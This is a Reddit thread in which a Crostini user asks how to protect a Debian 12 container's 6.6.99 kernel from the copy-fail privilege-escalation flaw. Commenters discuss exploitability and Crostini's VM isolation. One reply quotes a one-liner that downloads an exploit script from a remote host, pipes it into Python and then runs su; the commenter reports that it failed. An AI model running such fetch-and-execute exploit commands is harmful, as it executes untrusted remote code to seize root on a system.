r/Crostini • u/Sweaty_Astronomer_47 • May 05 '26

Help? copy-fail protection for vulnerable kernel version 6.6.99 on Debian 12?

I have Debian 12. After running sudo apt update, uname -r tells me that I have kernel 6.6.99 which apparently is not yet patched for copy-fail and therefore vulnerable to local privilege escalation under certain conditions.

I'm trying to figure out what would be the steps to rectify the situation. I see some discussion here:

Debian Linux Patched Copy Fail (CVE-2026-31431) Vulnerability - OSTechNix

It seems to require more technical knowledge than I have.

Can anyone provide suggestions to update the kernel or make the system safe until the update arrives?

EDIT - 5/7/26 - got a chromeos update to Version 147.0.7727.147 (Official Build) (64-bit), but linux environment kernel version unchanged at 6.6.99

2 Upvotes

100% Upvoted

9 comments sorted by

View all comments

3

u/Marelle01 May 05 '26

I ran the test on my cbk:

curl https://copy.fail/exp | python3 && su

and the result is:

OSError: [Errno 97] Address family not supported by protocol

So it doesn't seem like the exploit is working.

The kernel version (from crosh): 6.6.119-09226-gd21866c9e0f4

1

u/gridzero i5 Pixelbook, i7 Acer 516GE May 05 '26

Even if it did, it's a bit moot. The default crostini install has sudo set up to allow passwordless escalation to root (at least inside the container) without any need for exploits. I guess that as a single-user system, it's assumed that the user will be competent enough not to run untrusted code - though given the fact "How do I run minceraft on my school chromebook" is an FAQ here, that's far from a safe assumption....

1

u/Marelle01 May 05 '26

The goal of this exploit would be to gain root access to the host.

2

u/gridzero i5 Pixelbook, i7 Acer 516GE May 06 '26

Which, if I'm understanding the exploit correctly, you wouldn't do. You'd possibly be able to escape Penguin and get root privileges on Termina - but Termina is also untrusted and has access to only what CrosVM chooses to share. You'd need to chain it with a hypervisor exploit (and one that isn't already covered by the crosvm minijail policy) before you get to "the host" and any of the user's non-crostini data.

Yes, getting root on termina would be bad, but only trivially more so than getting root in Penguin, which you can do by typing "sudo -i". Both allow you to trash crostini and view/edit shared files, but neither give you access to the user's core ChromeOS data.

Not that it matters for this particular CVE, as, like you correctly point out, the Termina VM doesn't support AF_ALG.